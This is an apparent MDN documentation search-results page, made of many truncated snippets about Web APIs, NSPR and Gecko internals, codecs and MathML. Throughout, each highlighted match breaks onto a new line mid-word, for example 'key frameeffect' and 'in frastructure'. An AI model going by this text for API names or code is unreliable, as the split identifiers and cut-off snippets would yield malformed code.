... "above" top side "below" bottom side "hsides" top and bottom only "vsides" right and left sides only "lhs" left-hand side only "rhs" right-hand side only "box" all four sides "border" all four sides example // set the
frame of tablea to 'border' var t = document.getelementbyid('tablea'); t.
frame = "border"; t.border = "2px"; specification w3c dom 2 html specification ...
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
the imagebitmaprenderingcontext.transfer
fromimagebitmap() method displays the given imagebitmap in the canvas associated with this rendering context.
... syntax void imagebitmaprenderingcontext.transfer
fromimagebitmap(bitmap) parameters bitmap an imagebitmap object to transfer.
... // transfer the current
frame to the visible canvas var bitmap = offscreen.transfertoimagebitmap(); htmlcanvas.transfer
fromimagebitmap(bitmap); specifications specification status comment html living standardthe definition of 'transfer
fromimagebitmap()' in that specification.
KeyframeEffect.iterationComposite - Web APIs
the iterationcomposite property of a key
frameeffect resolves how the animation's property value changes accumulate or override each other upon each of the animation's iterations.
... syntax // getting var iterationcompositeenumeration = key
frameeffect.iterationcomposite; // setting key
frameeffect.iterationcomposite = 'replace'; values replace the key
frameeffect value produced is independent of the current iteration.
... accumulate subsequent iterations of the key
frameeffect build on the final value of the previous iteration.
KeyframeEffect.target - Web APIs
the target property of a key
frameeffect interface represents the element or pseudo-element being animated.
... syntax var targetelement = document.getelementbyid("elementtoanimate"); var key
frames = new key
frameeffect( targetelement, key
frameblock, timingoptions ); // returns #elementtoanimate key
frames.target; // assigns key
frames a new target key
frames.target = newtargetelement; value an element, csspseudoelement, or null.
... examples in the follow the white rabbit example, whiterabbit sets the target element to be animated: var whiterabbit = document.getelementbyid("rabbit"); var rabbitdownkey
frames = new key
frameeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // returns <div id="rabbit">click the rabbit's ears!</div> rabbitdownkey
frames.target; specifications specification status comment web animationsthe definition of 'key
frameeffect' in that specification.
NDEFRecord.data - Web APIs
the data property of the nde
frecord interface is dataview providing access to the payload data of the record.
... syntax nde
frecord.data value a dataview that contains encoded payload data of the record.
... specifications specification status comment web nfc, nde
frecord.data draft initial definition.
NDEFRecord.encoding - Web APIs
the encoding property ofthe nde
frecord interface is usvstring containing the name of the encoding used to encode ndef payload if it contains textual data.
... syntax nde
frecord.encoding value a usvstring which can be one of the following: "utf-8", "utf-16", "utf-16le" or "utf-16be".
... specifications specification status comment web nfc, nde
frecord.encoding draft initial definition.
NDEFRecord.id - Web APIs
the id property ofthe nde
frecord interface is usvstring containing the record identifier.
... syntax nde
frecord.id value a usvstring.
... specifications specification status comment web nfc, nde
frecord draft initial definition.
NDEFRecord.lang - Web APIs
the lang property ofthe nde
frecord interface is usvstring containing the language tag of the record contents, if it is a vailable.
... syntax nde
frecord.lang value a usvstring.
... specifications specification status comment web nfc, nde
frecord.lang draft initial definition.
NDEFRecord.mediaType - Web APIs
the mediatype property ofthe nde
frecord interface is usvstring containing the mime type of the record payload.
... syntax nde
frecord.mediatype value a usvstring, corresponding to a mime type of the record payload.
... specifications specification status comment web nfc, nde
frecord.mediatype draft initial definition.
OscillatorNode.frequency - Web APIs
the
frequency property of the oscillatornode interface is an a-rate audioparam representing the
frequency of oscillation in hertz.
... syntax var oscillator = audioctx.createoscillator(); oscillator.
frequency.setvalueattime(440, audioctx.currenttime); // value in hertz note: though the audioparam returned is read-only, the value it represents is not.
... // create web audio api context var audioctx = new (window.audiocontext || window.webkitaudiocontext)(); // create oscillator node var oscillator = audioctx.createoscillator(); oscillator.type = 'square'; oscillator.
frequency.setvalueattime(440, audioctx.currenttime); // value in hertz oscillator.start(); specifications specification status comment web audio apithe definition of '
frequency' in that specification.
RTCOutboundRtpStreamStats.framesEncoded - Web APIs
the
framesencoded property of the rtcoutboundrtpstreamstats dictionary indicates the total number of
frames that have been encoded by this rtcrtpsender for this media source.
... syntax var
framesencoded = rtcoutboundrtpstreamstats.
framesencoded; value an integer value indicating the total number of video
frames that this sender has encoded so far for this stream.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcoutboundrtpstreamstats.
framesencoded' in that specification.
SpeechGrammarList.addFromString() - Web APIs
the add
fromstring() method of the speechgrammarlist interface takes a grammar present in a specific domstring within the code base (e.g.
... syntax speechgrammarlistinstance.add
fromstring(string,weight); returns void.
...denrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.add
fromstring(grammar, 1); recognition.grammars = speechrecognitionlist; specifications specification status comment web speech apithe definition of 'add
fromstring()' in that specification.
VideoPlaybackQuality.totalFrameDelay - Web APIs
the videoplaybackquality.total
framedelay read-only property returns a double containing the sum of the
frame delay since the creation of the associated htmlvideoelement.
... the
frame delay is the difference between a
frame's theoretical presentation time and its effective display time.
... syntax value = videoplaybackquality.total
framedelay; example var videoelt = document.getelementbyid('my_vid'); var quality = videoelt.getvideoplaybackquality(); alert(quality.total
framedelay); ...
WebGLFramebuffer - Web APIs
the webgl
framebuffer interface is part of the webgl api and represents a collection of buffers that serve as a rendering destination.
... description the webgl
framebuffer object does not define any methods or properties of its own and its content is not directly accessible.
... when working with webgl
framebuffer objects, the following methods of the webglrenderingcontext are useful: webglrenderingcontext.bind
framebuffer() webglrenderingcontext.create
framebuffer() webglrenderingcontext.delete
framebuffer() webglrenderingcontext.is
framebuffer() examples creating a
frame buffer var canvas = document.getelementbyid('canvas'); var gl = canvas.getcontext('webgl'); var buffer = gl.create
framebuffer(); specifications specification status comment webgl 1.0the definition of 'webgl
framebuffer' in that specification.
XRFrame.getPose() - Web APIs
the xr
frame method getpose() returns the relative position and orientation—the pose—of one xrspace to that of another space.
... syntax var xrpose = xr
frame.getpose(space, basespace); parameters space an xrspace specifying the space for which to obtain an xrpose describing the item's position and orientation.
... specifications specification status comment webxr device apithe definition of 'xr
frame.getpose()' in that specification.
XRFrame.session - Web APIs
an xr
frame object's read-only session property returns the xrsession object that generated the
frame.
... syntax var xrsession = xr
frame.session; value a xrsession object representing the webxr session for which this xr
frame describes the object positions and orientations.
... specifications specification status comment webxr device apithe definition of 'xr
frame.session' in that specification.
x-ms-aria-flowfrom - Accessibility
the x-ms-aria-flow
from property specifies the id of the previous element in an alternative reading order, allowing assistive technology to override the general default of reading in document source order.
... syntax x-ms-aria-flow
from="elementid"; value the x-ms-aria-flow
from property value uses an id selector to define which previous element the reading order will flow
from.
... example <div tabindex="0" class="foo" id="element2" role="option" aria-posinset="1" aria-setsize="15" aria-flowto="element8" x-ms-aria-flow
from="element5"> see also aria relationship attributes microsoft api extensions ...
NPN_UTF8FromIdentifier - Archive of obsolete content
syntax #include <npruntime.h> nputf8 *npn_utf8
fromidentifier(npidentifier identifier); parameters the function has the following parameter: <tt>identifier</tt> the string identifier whose corresponding string should be returned.
... description once the caller is done with the returned string, the caller is responsible for deallocating the memory used by the string by calling npn_mem
free().
Blocked: Storage access requests from trackers
message firefox: cookieblockedtracker=request to access cookies or storage on “x” was blocked because it came
from a tracker and content blocking is enabled.
... a request to access cookies or storage was blocked because the browser identified it as coming
from a tracker and content blocking is enabled.
HTMLIFrameElement.executeScript()
the executescript() method of the htmli
frameelement interface allows a specified script to be executed against a page loaded in the browser <i
frame>.
... syntax var mydomrequest = instanceofhtmli
frameelement.executescript(script, options); return value a domrequest object that returns an onsuccess handler if the script is successfully executed against the loaded content, or an onerror handler if not.
HTMLIFrameElement.getCanGoBack()
the getcangoback() method of the htmli
frameelement interface is used to indicate whether it's possible to go back in the navigation history of the browser <i
frame>.
... syntax instanceofhtmli
frameelement.getcangoback() .then(function(result) { ...
HTMLIFrameElement.getCanGoForward()
the getcangoforward() method of the htmli
frameelement is used to indicate whether it's possible to go forward in the navigation history of the browser <i
frame>.
... syntax instanceofhtmli
frameelement.getcangoforward() .then(function(result) { ...
HTMLIFrameElement.stop()
the stop() method of the htmli
frameelement interface is used to stop loading the content of the <i
frame>.
... syntax instanceofhtmli
frameelement.stop(); returns void.
Setting up the infrastructure
first, make your project's file type decision (see localization formats for details): html/php .lang gettext (.po) assuming you chose gettext, you'll need to follow the steps below to set up the in
frastructure for localizing your web application.
... copy the shell scripts
from /addons/trunk/site/app/locale/ to your locale directory: extract-po.sh will be used to extract all english strings
from your application's directories specified in source_dirs, merge the resulting template (*.pot) file with the existing (already containing translations) messages.po files for each locale (if they exist) and merge the new messages.po files to messages.mo files.
PL_strfree
frees memory allocated by pl_strdup.
... syntax void pl_str
free(char *s); parameter the function has these parameter: s pointer to the string to be
freed.
PR_FREEIF
conditionally
frees allocated memory.
... syntax #include <prmem.h> void pr_
freeif(_ptr); parameter _ptr the address of memory to be returned to the heap.
PR_FreeLibraryName
frees memory allocated by nspr for library names and path names.
... syntax #include <prlink.h> void pr_
freelibraryname(char *mem); parameters the function has this parameter: mem a reference to a character array that was previously allocated by the dynamic library runtime.
PR GetCanonNameFromAddrInfo
syntax #include <prnetdb.h> const char *pr_getcanonname
fromaddrinfo(const praddrinfo *addrinfo); parameters the function has the following parameters: addrinfo a pointer to a praddrinfo structure returned by a successful call to pr_getaddrinfobyname.
...this pointer is invalidated once the praddrinfo structure is destroyed by a call to pr_
freeaddrinfo.
Free
« xpcom api reference summary the
free function
frees a block of memory that was allocated by xpcom's memory manager.
... static void
free( void* aptr ); parameters aptr [in] the address of the memory block to
free.
nsIIFrameBoxObject
layout/xul/base/public/nsii
frameboxobject.idlscriptable please add a summary to this article.
... inherits
from: nsicontainerboxobject last changed in gecko 1.9 (firefox 3) the boxobject belonging to a xul i
frame element implements this interface.
nsIStackFrame
inherits
from: nsisupports last changed in gecko 1.7 method overview string tostring(); attributes attribute type description caller nsistack
frame read only.
...see also jsdistack
frame ...
Frequently Asked Questions
comparing an nscomptr to a raw xpcom interface pointer declaring an nscomptr to a forward-declared class not linking to xpcom not including nscomptr.h different settings of nscap_feature_debug_ptr_types runtime errors ns_assertion "queryinterface needed" may be caused by a class that derives
from a given interface, when you forgetting to also specify the interface name in the ns_impl_isupports / ns_impl_threadsafe_isupports macro.
... nscomptr<nsifoo> foo( do_queryinterface(abar, &rv) ); if ( foo ) foo->dosomefoothing(); // |foo| goes out of scope, and so |release|s its referent, here } // ...tons of stuff here, during which i don't need an |nsifoo| return rv; } editors note: move this discussion to the efficiency section, and link to it
from here.
Access StringBundle from Overlay
the most efficient way to append these strings is by attaching them to an existing stringbundleset as such: <stringbundleset id="stringbundleset"> <stringbundle src="chrome://your_extension/locale/overlay.properties" id="your-extension-strings" /> </stringbundleset> now that your stringbundle is attached you can access it
from javascript as follows: var str = document.getelementbyid("your-extension-strings"); //get the stringbundle object itself str.getstring("propertyname"); //get a string (and do something with it) alternative way let stringbundleservice = cc["@mozilla.org/intl/stringbundle;1"].getservice(ci.nsistringbundleservice); let bundle = stringbundleservice.createbundle...
...("chrome://your_extension/locale/overlay.properties"); let str = bundle.getstring
fromname("propertyname"); see nsistringbundleservice ...
Client.frameType - Web APIs
the
frametype read-only property of the client interface indicates the type of browsing context of the current client.
... syntax var my
frametype = client.
frametype; example tbd specifications specification status comment service workersthe definition of '
frametype' in that specification.
DocumentFragment() - Web APIs
the document
fragment() constructor returns a new, empty document
fragment object .
... syntax
fragment = new document
fragment() example let
fragment = new document
fragment(); specification specification status comment domthe definition of 'document
fragment()' in that specification.
EXT_frag_depth - Web APIs
the ext_
frag_depth extension is part of the webgl api and enables to set a depth value of a
fragment
from within the
fragment shader.
... examples enable the extension: gl.getextension('ext_
frag_depth'); now the output variable gl_
fragdepthext is available to set a depth value of a
fragment
from within the
fragment shader: <script type="x-shader/x-
fragment"> void main() { gl_
fragcolor = vec4(1.0, 0.0, 1.0, 1.0); gl_
fragdepthext = 0.5; } </script> specifications specification status comment ext_
frag_depththe definition of 'ext_
frag_depth' in that specific...
HTMLIFrameElement.featurePolicy - Web APIs
the featurepolicy read-only property of the htmli
frameelement interface returns the featurepolicy interface which provides a simple api for introspecting the feature policies applied to a specific
frame.
... syntax var policy = htmli
frameelement.featurepolicy value a featurepolicy object that can be used to inspect the feature policy settings applied to the
frame.
HTMLVideoElement.msFrameStep() - Web APIs
the htmlvideoelement.ms
framestep() method steps the video by one
frame forward or one
frame backward.
... syntax htmlvideoelement.ms
framestep(forward); parameters forward a boolean which if set to true steps the video forward by one
frame, if false steps the video backwards by one
frame.
onMSVideoFrameStepCompleted - Web APIs
onmsvideo
framestepcompleted is an event which occurs when the video
frame has been stepped forward or backward one
frame.
... syntax value description event property object.onmsvideo
framestepcompleted = handler; attachevent method object.attachevent("onmsvideo
framestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
NDEFReader.onerror - Web APIs
the onerror property of nde
freader interface of the web nfc api is called whenever an error occurs during reading of nfc tags, e.g.
... specifications specification status comment web nfc, nde
freader.onerror draft initial definition.
NDEFReader.onreading - Web APIs
the onreading property of nde
freader interface of the web nfc api is called whenever a new reading is available
from compatible nfc devices, e.g.
... specifications specification status comment web nfc, nde
freader.onreadig draft initial definition.
Window.convertPointFromNodeToPage() - Web APIs
given a point specified in a particular dom node's coordinate system, the window method convertpoint
fromnodetopage() returns a point which specifies the same position in the page's coordinate system.
... syntax point = window.convertpoint
fromnodetopage(node, nodepoint); parameters node the node in whose coordinate system the point specified by nodepoint is described.
Window.convertPointFromPageToNode - Web APIs
given a point specified in the page's coordinate system, the window method convertpoint
frompagetonode() returns a point object specifying the same location in the coordinate system of the specified dom node.
... syntax point = window.convertpoint
frompagetonode(node, pagepoint); parameters node the node into whose coordinate system the point is to be converted.
Shapes from box values - CSS: Cascading Style Sheets
a straightforward way to create a shape is to use a value
from the css box model.
... for more complex shapes you will need to use one of the basic shapes as a value, or define your shape
from an image as covered in other guides in this section.
NPN_IntFromIdentifier - Archive of obsolete content
syntax #include <npruntime.h> int32_t npn_int
fromidentifier(npidentifier identifier); parameters the function has the following parameter: <tt>identifier</tt> the integer identifier whose corresponding integer value should be returned.
-ms-flow-from - Archive of obsolete content
the -ms-flow-
from css property is a microsoft extension that gets or sets a value identifying a region container in the document that accepts the content flow
from the data source.
Inheriting from implementation classes
example problem you have interfaces a and b, b inherits
from a, and you have implementation classes for both a and b, and you want the implementation class for b to inherit
from the implementation class for a.
free
this content is now available at nsimemory.
free().
writeFrom
this content is now available at nsioutputstream.write
from().
Index - Web APIs
3 angle_instanced_arrays.drawarraysinstancedangle() angle_instanced_arrays, api, method, reference, webgl, webgl extension the angle_instanced_arrays.drawarraysinstancedangle() method of the webgl api renders primitives
from array data like the gl.drawarrays() method.
... 4 angle_instanced_arrays.drawelementsinstancedangle() angle_instanced_arrays, api, method, reference, webgl, webgl extension the angle_instanced_arrays.drawelementsinstancedangle() method of the webgl api renders primitives
from array data like the gl.drawelements() method.
... 51 analysernode api, analysernode, interface, reference, web audio api the analysernode interface represents a node able to provide real-time
frequency and time-domain analysis information.
...And 654 more matches
Index - Archive of obsolete content
7 window: deviceproximity event sensors, events the deviceproximity event is fired when
fresh data is available
from a proximity sensor.
... 18 interacting with page scripts add-on sdk, add-ons, extensions by default, content scripts loaded by add-ons and scripts loaded by web pages are insulated
from each other: 19 loading content scripts no summary!
... 73 content/content re-exports three objects
from three other modules: loader, worker, and symbiont.
...And 202 more matches
Index - MDN Web Docs Glossary: Definitions of Web-related terms
2 404 glossary, http errors, in
frastructure, navigation a 404 is a standard response code meaning that the server cannot find the requested resource.
... 3 502 502, bad gateway, glossary, http errors, in
frastructure, navigation an http error code meaning "bad gateway".
... 5 api codingscripting, glossary, in
frastructure an api (application programming interface) is a set of features and rules that exist inside a software program (the application) enabling interaction with it through software - as opposed to a human user interface.
...And 178 more matches
Index
if the component uses only "
frozen" xpcom interfaces, there is a good chance the same binary component will work with different versions of gecko (version 1.8 and 1.9, for example).
... the more likely case is that the component uses "un
frozen" interfaces and those interfaces can change between gecko versions.
...here is the interface, and a description of its use.</t> 10 how to pass an xpcom object to a new window needsexample, needshelp if you want to be able to call functions within an xpcom object
from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method.
...And 167 more matches
Index
it's
free and open source software, and many other software projects have decided to use it.
... a core element of nss is
freebl, a base library providing hash functions, big number calculations, and cryptographic algorithms.
... softoken is an nss module that exposes most
freebl functionality as a pkcs#11 module.
...And 115 more matches
Index
4 foss guide, spidermonkey feel
free to add your own spidermonkey-based open source projects (and if necessary add categories)!
...at a high level, there are three issues to be aware of: 8 getting spidermonkey source code guide, spidermonkey you can get the spidermonkey source code in gzipped form or directly
from the mercurial repository.
... 11 index index, mdn meta, spidermonkey found 550 pages: 12 introduction to the javascript shell spidermonkey to get the spidermonkey javascript shell, see the spidermonkey build documentation or download a compiled binary for your platform
from the nightly builds.
...And 95 more matches
Web video codec guide - Web media technologies
imagine the amount of data needed to store uncompressed video: a single
frame of high definition (1920x1080) video in full color (4 bytes per pixel) is 8,294,400 bytes.
... at a typical 30
frames per second, each second of hd video would occupy 248,832,000 bytes (~249 mb).
...however, things such as
frame rate and, obviously, resolution will always have an impact on the output size of the media.
...And 95 more matches
Index - Learn web development
to help you achieve this, this module will cover general best practices (which are demonstrated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility
from the start.
...there are also are times when you'll get stuck and feel
frustrated — even professional web developers feel like this regularly — and it pays to know about the most effective ways to try and get help so you can progress in your work.
... 14 common questions codingscripting, in
frastructure, learn, web, webmechanics this section of the learning area is designed to provide answers to common questions that may come up, which are not necessarily part of the structured core learning pathways (e.g.
...And 82 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
its original inspiration comes
from http://www.alain.knaff.lu/howto/mozillacustomization/ and http://mit.edu/~firefox/www/maintain...utoconfig.html.
...it's mission is to enable completely automatic configuration of mozilla's apps preferences based on users properties either retrieved
from system environement variables or on an organisation ldap directory.
...this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , language, homepage etc...)
from the enterprise directory.
...And 74 more matches
imgIContainer
it provides access to
frames as thebes surfaces and lets users extract subregions as other imgicontainer objects.
... 66 introduced gecko 1.0 inherits
from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: ?????????????????????????????????????.
... obsolete since gecko 2.0 void append
frame(in print32 ax, in print32 ay, in print32 awidth, in print32 aheight, in gfximageformat aformat, [array, size_is(imagelength)] out pruint8 imagedata, out unsigned long imagelength); native code only!
...And 72 more matches
Anatomy of a video game - Game development
this article looks at the anatomy and workflow of the average video game
from a technical point of view, in terms of how the main loop should run.
... present, accept, interpret, calculate, repeat the goal of every video game is to present the user(s) with a situation, accept their input, interpret those signals into actions, and calculate a new situation resulting
from those acts.
...these games present two images to the user; they accept their click (or touch); they interpret the input as a success, failure, pause, menu interaction, etc.; finally, they calculate an updated scene resulting
from that input.
...And 71 more matches
Layout System Overview - Archive of obsolete content
this presentation is typically formatted in accordance with the requirements of the css1 and css2 specifications
from the w3c.
...this is referred to as the galley mode presentation, and is what one expects
from a typical browser.
...the original design of the layout system allowed for multiple, possibly different, presentations to be supported simultaneously
from the same content model.
...And 65 more matches
Browser API
the html browser api is an extension of the html <i
frame> element that allows web apps to implement browsers or browser-like applications.
... browser api concepts and usage the browser api consists of two major parts: custom <i
frame> attributes: by adding a mozbrowser attribute to the <i
frame> element we can make it appear like a top-level browser window to the embedded content.
... this means that window.top, window.parent, window.
frameelement, etc.
...And 65 more matches
Bytecode Descriptions
bytecode listing this document is automatically generated
from opcodes.h by make_opcode_doc.py.
...pop two values, convert them to numeric values, subtract the top value
from the other one, and push the result.
...format: jof_elem, jof_propset, jof_checkstrict, jof_ic delprop operands: (uint32_t nameindex) stack: obj ⇒ succeeded delete a property
from obj.
...And 63 more matches
MMgc - Archive of obsolete content
the garbage collector is "managing" it, detecting when the memory is no longer reachable
from anywhere in the application and reclaiming it at that time.
...another way to think about it: unmanaged memory is c++ operators new and delete managed memory is c++ operator new, with optional delete mmgc contains a page allocator called gcheap, which allocates large blocks (megabytes) of memory
from the system and doles out 4kb pages to the unmanaged memory allocator (fixedmalloc) and the managed memory allocator (gc).
...there are a few methods that you may need to call directly, such as alloc and
free.
...And 61 more matches
MathML Accessibility in Mozilla
mathml windows mac linux accessfu diagonal of a regular pentagon video video video / x+2 __________ x plus 2 __________ x+2 x plus 2 x + y ab __________ a over b __________
fraction start, a over b, end of
fraction
fraction start.
...
fraction end.
... a numerator b denominator
fraction ab\
frac a b ab __________ a over b __________
fraction start, a over b, end of
fraction.
...And 60 more matches
Notes on HTML Reflow - Archive of obsolete content
the html formatting objects are called
frames : a
frame corresponds to the geometric information for (roughly) a single element in the content model; the
frames are arranged into a hierarchy that parallels the containment hierarchy in the content model.
... a
frame is rectangular, with width, height, and an offset
from the parent
frame that contains it.
... more than one
frame may be needed to represent a single element
from the content model; for example, text that wraps is broken into several
frames, one per wrapped line.
...And 59 more matches
Animated PNG graphics
the canvas is the area on the output device on which the
frames are to be displayed.
...conceptually, each
frame is constructed in the output buffer before being composited onto the canvas.
... error handling apng is designed to allow incremental display of
frames before the entire image has been read.
...And 59 more matches
Block and Line Layout Cheat Sheet - Archive of obsolete content
ns
frame the base class for all
frames.
... mflags flags set on the
frame to indicate its state.
... these flags can be grouped into two categories: flags which affect all
frames ("public" flags), and flags that are reserved for an individual
frame's private use ("private" flags).
...And 55 more matches
nsIDOMWindowUtils
1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 49.0 (firefox 49.0 / thunderbird 49.0 / seamonkey 2.46) implemented by: window.
...n nsidomelement element, in astring property, in astring value1, in astring value2); nsicompositionstringsynthesizer createcompositionstringsynthesizer(); obsolete since gecko 38.0 void disablenontestmouseevents(in boolean adisable); boolean dispatchdomeventviapresshell(in nsidomnode atarget, in nsidomevent aevent, in boolean atrusted); nsidomelement element
frompoint(in float ax, in float ay, in boolean aignorerootscroll
frame, in boolean aflushlayout); void entermodalstate(); nsidomelement findelementwithviewid(in nsviewid aid); void focus(in nsidomelement aelement); void forceupdatenativemenuat(in astring indexstring); void garbagecollect([optional] in nsicyclecollectorlistener alistener); sh...
...ipt); void getscrollxy(in boolean aflushlayout, out long ascrollx, out long ascrolly); astring getvisiteddependentcomputedstyle(in nsidomelement aelement, in astring apseudoelement, in astring apropertyname); boolean isinmodalstate(); void leavemodalstate(); void loadsheet(in nsiuri sheeturi, in unsigned long type); nsidomnodelist nodes
fromrect(in float ax, in float ay, in float atopsize, in float arightsize, in float abottomsize, in float aleftsize, in boolean aignorerootscroll
frame, in boolean aflushlayout); void processupdates(); obsolete since gecko 13.0 void purgepccounts(); unsigned long redraw([optional] in unsigned long acount); void renderdocument(in nsconstrect arect, in pruint32...
...And 54 more matches
Event reference
events can represent everything
from basic user interactions to automated notifications of things happening in the rendering model.
... session history events event name fired when pagehide a session history entry is being traversed
from.
... view events event name fired when fullscreenchange an element was toggled to or
from fullscreen mode.
...And 52 more matches
WebIDL bindings
this is a signal that you need to get a review
from a dom peer.
... adding webidl bindings to a class to add a webidl binding for interface myinterface to a class mozilla::dom::myinterface that's supposed to implement that interface, you need to do the following: if your interface doesn't inherit
from any other interfaces, inherit
from nswrappercache and hook up the class to the cycle collector so it will trace the wrapper cache properly.
... note that you may not need to do this if your objects can only be created, never gotten
from other objects.
...And 51 more matches
Web audio codec guide - Web media technologies
codec name (short) full codec name container support aac advanced audio coding mp4, adts, 3gp alac apple lossless audio codec mp4, quicktime (mov) amr adaptive multi-rate 3gp flac
free lossless audio codec mp4, ogg, flac g.711 pulse code modulation (pcm) of voice
frequencies rtp / webrtc g.722 7 khz audio coding within 64 kbps (for telephony/voip) rtp / webrtc mp3 mpeg-1 audio layer iii mp4, adts, mpeg1, 3gp opus opus webm, mp4, ogg vorbis vorbis webm, ogg [1] when mpeg-1 audio layer iii code...
...delity unlikely to get more than 40-50% compression lossy compression always some loss of fidelity; the higher the compression, the more the loss compression of up to 80-95% possible quality setting the higher the quality, the better the fidelity of the encoded audio the higher the fidelity, the larger the resulting file becomes, though the amount of change varies
from codec to codec bit rate the higher the bit rate, the higher the quality can be the higher the bit rate, the larger the encoded file is likely to be audio
frequency bandwidth if there is any audio in the removed
frequency band(s), there may be a noticeable loss of fidelity removing
frequency bands means less data to encode, thus smaller encoded files stereo...
... joint stereo can reduce the size of the encoded audio to some extent the parameters available—and the range of possible values—varies
from codec to codec, and even among different encoding utilities for the same codec, so read the documentation that comes with the encoding software you use to learn more.
...And 51 more matches
TypeScript support in Svelte - Learn web development
previous overview: client-side javascript
frameworks next in the last article we learned about svelte stores and even implemented our own custom store to persist the app's information to web storage.
...
from last year's github octoverse report we can see that typescript is the 7th most used and 5th fastest growing language used on github.
... typescript also has some disadvantages: not true static typing: types are only checked at compile time, and they are removed
from the generated code.
...And 49 more matches
Digital audio concepts - Web media technologies
these molecules affect the ones adjacent to them, and so forth, propagating the vibration in the form of a wave outward
from the source until the amplitude of the wave (its volume) fades away with distance.
...the faster the molecules vibrate, the higher the
frequency of the wave.
...the shorter the wavelength (the closer together the crests of the wave are), the higher the
frequency (or pitch) of the sound that's produced.
...And 49 more matches
Space Manager Detailed Design - Archive of obsolete content
here is the class declaration, taken
from the source file as of 01.08.02 /** * class for dealing with bands of available space.
... */ class nsspacemanager { public: nsspacemanager(nsipresshell* apresshell, nsi
frame* a
frame); ~nsspacemanager(); void* operator new(size_t asize); void operator delete(void* aptr, size_t asize); static void shutdown(); /* * get the
frame that's associated with the space manager.
... this
frame * created the space manager, and the world coordinate space is * relative to this
frame.
...And 46 more matches
nsIDocShell
inherits
from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) implemented by @mozilla.org/docshell;1.
...instead, retrieve an nsidocshell
from a browser or other document container element.
... note that out-of-process browsers do not have an nsidocshell; instead you can access the nsidocshell object
from a
frame script.
...And 46 more matches
JXON - Archive of obsolete content
there are some cases in which the whole content of an xml document must be read
from the javascript interpreter (like for web-apps languages or settings xml documents, for example).
...if you have already have a dom tree
from using xmlhttprequest, skip to the next paragraph.
... the algorithms proposed here (see: #1, #2, #3, #4) will consider only the following types of nodes and their attributes: document (only as function argument), document
fragment (only as function argument), element, text (never as function argument), cdatasection (never as function argument), attr (never as function argument).
...And 45 more matches
Cooperative asynchronous JavaScript: Timeouts and intervals - Learn web development
requestanimation
frame() the modern version of setinterval().
... executes a specified block of code before the browser next repaints the display, allowing an animation to be run at a suitable
framerate regardless of the environment it is being run in.
...if you execute code like settimeout(fn, 0) but then immediately after run a loop that counts
from 1 to 10 billion, your callback will be executed after a few seconds.
...And 45 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
note: most diagrams used in this article to show how the camera moves while performing standard movements was taken
from an article on the filmmakeriq web site; namely,
from this image which is found all over the web, however, and though we assume these are under a permissive license due to their
frequent reuse, ownership is not certain.
... we hope that it's
freely usable; if not, and you're the owner, please let us know and we'll find or produce new diagrams.
...fortunately, physicists like galileo, newton, lorentz, and einstein have given us the principle of relativity, which states that the laws of physics have the same form in every
frame of reference.
...And 45 more matches
MathML Torture Test
ts> <mi>f</mi> <mn>3</mn><none/> <mprescripts/> <mn>2</mn><none/> </mmultiscripts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityripple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <m
frac> <mrow> <mi>x</mi> <mo>+</mo> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> <mrow> <mi>k</mi> <mo>+</mo> <mn>1</mn> </mrow> </m
frac> </mrow> </math> </td></tr> <tr> <td>4</td> <td><img...
... src="https://udn.realityripple.com/samples/a7/27acbeabcf.png" width="76" height="25" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mi>x</mi> <mo>+</mo> <msup> <mi>y</mi> <m
frac> <mn>2</mn> <mrow> <mi>k</mi> <mo>+</mo> <mn>1</mn> </mrow> </m
frac> </msup> </mrow> </math> </td></tr> <tr> <td>5</td> <td><img src="https://udn.realityripple.com/samples/d2/921226dd85.png" width="30" height="42" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <m
frac> <mi>a</mi> <mrow> <mi>b</mi> ...
... <mo>/</mo> <mn>2</mn> </mrow> </m
frac> </mrow> </math> </td></tr> <tr> <td>6</td> <td><img src="https://udn.realityripple.com/samples/76/5ce9da68c6.png" width="220" height="138" alt="texbook, 17.5-17.6" /></td> <td> <math display="block"> <mrow> <msub> <mi>a</mi> <mn>0</mn> </msub> <mo>+</mo> <m
frac> <mn>1</mn> <mstyle displaystyle="true" scriptlevel="0"> <msub> <mi>a</mi> <mn>1</mn> </msub> <mo>+</mo> <m
frac> <mn>1</mn> <mstyle displaystyle="true" scriptlevel="0"> <msub> ...
...And 44 more matches
sslfnc.html
therefore, an application cannot use nss to perform any cryptographic operations until after it enables appropriate cipher suites by calling one of the ssl export policy functions: nss_setdomesticpolicy, nss_setexportpolicy, and nss_set
francepolicy configure the cipher suites for domestic, international, and
french versions of software products with encryption features.
...this function must be called once for each default value you want to change
from the factory setting.
...nss 2.8 will negotiate the higest protocol version with the peer application
from among the set of protocols that are commonly enabled in both applications.
...And 43 more matches
Mozilla internal string guide
nsa[c]string is the base of the string classes (since it imposes fewer requirements) and ns[c]string is a class derived
from it.
...all string classes support the following three ownership models dynamically: reference counted, copy-on-write, buffers (the default) adopted buffers (a buffer that the string class owns, but is not reference counted, because it came
